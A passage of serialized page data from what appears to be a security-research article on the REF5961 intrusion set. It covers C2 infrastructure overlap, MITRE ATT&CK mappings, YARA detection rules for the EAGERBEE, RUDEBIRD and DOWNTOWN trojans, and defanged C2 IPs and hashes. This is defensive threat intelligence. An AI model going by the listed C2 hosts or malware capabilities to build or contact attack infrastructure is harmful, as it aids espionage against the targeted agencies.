windows\",width:\"1308\",height:\"900\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"443\"}),\" enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg\",alt:\"45.90.58[.]103 C2 service windows\",width:\"1334\",height:\"896\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"network-intersection-summary\",children:\"Network intersection summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\"), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using \\u201CTest\\u201D in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.\"}),`\n`,(0,i.jsx)(e.p,{children:\"They all, however, deliver similar tactical capabilities in the context of this environment.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Local enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Persistence\"}),`\n`,(0,i.jsx)(e.li,{children:\"Download/execute additional tooling\"}),`\n`,(0,i.jsx)(e.li,{children:\"C2 options\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor\\u2019s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency\\u2019s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim\\u2019s environment.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"ref5961-and-mitre-attck\",children:\"REF5961 and MITRE ATT\u0026CK\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic uses the \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"EAGERBEE\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"RUDEBIRD\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009/\",rel:\"nofollow\",children:\"Collection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0008/\",rel:\"nofollow\",children:\"Lateral Movement\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"DOWNTOWN\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009/\",rel:\"nofollow\",children:\"Collection\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"EAGERBEE\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/\",rel:\"nofollow\",children:\"Obfuscated Files or Information\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082/\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1041/\",rel:\"nofollow\",children:\"Exfiltration Over C2 Channel\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1090/\",rel:\"nofollow\",children:\"Proxy\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process Injection\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"RUDEBIRD\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate\",rel:\"nofollow\",children:\"File and Directory Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059\",rel:\"nofollow\",children:\"Command and Scripting Interpreter\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1570/\",rel:\"nofollow\",children:\"Lateral Tool Transfer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1005\",rel:\"nofollow\",children:\"Data from Local System\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"DOWNTOWN\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate\",rel:\"nofollow\",children:\"File and Directory Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"malware-prevention-capabilities\",children:\"Malware prevention capabilities\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar\",rel:\"nofollow\",children:\"EAGERBEE\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar\",rel:\"nofollow\",children:\"RUDEBIRD\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar\",rel:\"nofollow\",children:\"DOWNTOWN\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:\"}),`\n`,(0,i.jsx)(e.h3,{id:\"eagerbee-1\",children:\"EAGERBEE\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_EagerBee_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }\n $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_EagerBee_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-09-04\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }\n $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }\n $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }\n $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }\n\n condition:\n 2 of them\n}\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"rudebird-1\",children:\"RUDEBIRD\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_RudeBird {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.RudeBird\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }\n\n condition:\n all of them\n}\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"downtown\",children:\"DOWNTOWN\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_DownTown_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"SendFileBuffer error -1 !!!\" fullword\n $a2 = \"ScheduledDownloadTasks CODE_FILE_VIEW \" fullword\n $a3 = \"ExplorerManagerC.dll\" fullword\n\n condition:\n 3 of them\n}\n\nrule Windows_Trojan_DownTown_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-08-23\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"DeletePluginObject\"\n $a2 = \"GetPluginInfomation\"\n $a3 = \"GetPluginObject\"\n $a4 = \"GetRegisterCode\"\n\n condition:\n all of them\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ref5961\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Observable\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Name\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"EAGERBEE shellcode\"}),(0,i.jsx)(e.td,{children:\"iconcaches.mui\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"DOWNTOWN\"}),(0,i.jsx)(e.td,{children:\"In-memory DLL\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"EAGERBEE C2\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"195.123.245[.]79\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"EAGERBEE C2\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"RUDEBIRD C2\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"RUDEBIRD C2\"}),(0,i.jsx)(e.td,{})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\",rel:\"nofollow\",children:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns\",rel:\"nofollow\",children:\"https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/\",rel:\"nofollow\",children:\"https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/\",rel:\"nofollow\",children:\"https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py\",rel:\"nofollow\",children:\"https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta428\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta428\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/\",rel:\"nofollow\",children:\"https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/\"})}),`\n`]})]})}function v(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(c,n)})):c(n)}var T=v;return y(D);})();\n;return Component;"},"_id":"articles/introducing-the-ref5961-intrusion-set.mdx","_raw":{"sourceFilePath":"articles/introducing-the-ref5961-intrusion-set.mdx","sourceFileName":"introducing-the-ref5961-intrusion-set.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/introducing-the-ref5961-intrusion-set"},"type":"Article","imageUrl":"/assets/images/introducing-the-ref5961-intrusion-set/photo-edited-08@2x.jpg","readingTime":"26 min read","series":"","url":"/introducing-the-ref5961-intrusion-set","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"EAGERBEE","href":"#eagerbee"},{"level":3,"title":"Code analysis","href":"#code-analysis"},{"level":3,"title":"EAGERBEE connection to a Mongolian campaign","href":"#eagerbee-connection-to-a-mongolian-campaign"},{"level":3,"title":"EAGERBEE Summary","href":"#eagerbee-summary"},{"level":2,"title":"RUDEBIRD","href":"#rudebird"},{"level":3,"title":"Initial execution","href":"#initial-execution"},{"level":3,"title":"Lateral movement","href":"#lateral-movement"},{"level":3,"title":"Code analysis","href":"#code-analysis-1"},{"level":2,"title":"DOWNTOWN (SManager/PhantomNet)","href":"#downtown-smanagerphantomnet"},{"level":3,"title":"Code analysis","href":"#code-analysis-2"},{"level":3,"title":"DOWNTOWN Summary","href":"#downtown-summary"},{"level":2,"title":"Network infrastructure intersection","href":"#network-infrastructure-intersection"},{"level":3,"title":"Shared network infrastructure","href":"#shared-network-infrastructure"},{"level":3,"title":"Domain analysis","href":"#domain-analysis"},{"level":3,"title":"Defense evasion","href":"#defense-evasion"},{"level":3,"title":"Network intersection summary","href":"#network-intersection-summary"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"REF5961 and MITRE ATT\u0026CK","href":"#ref5961-and-mitre-attck"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques","href":"#techniques"},{"level":2,"title":"Malware prevention capabilities","href":"#malware-prevention-capabilities"},{"level":2,"title":"YARA","href":"#yara"},{"level":3,"title":"EAGERBEE","href":"#eagerbee-1"},{"level":3,"title":"RUDEBIRD","href":"#rudebird-1"},{"level":3,"title":"DOWNTOWN","href":"#downtown"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return 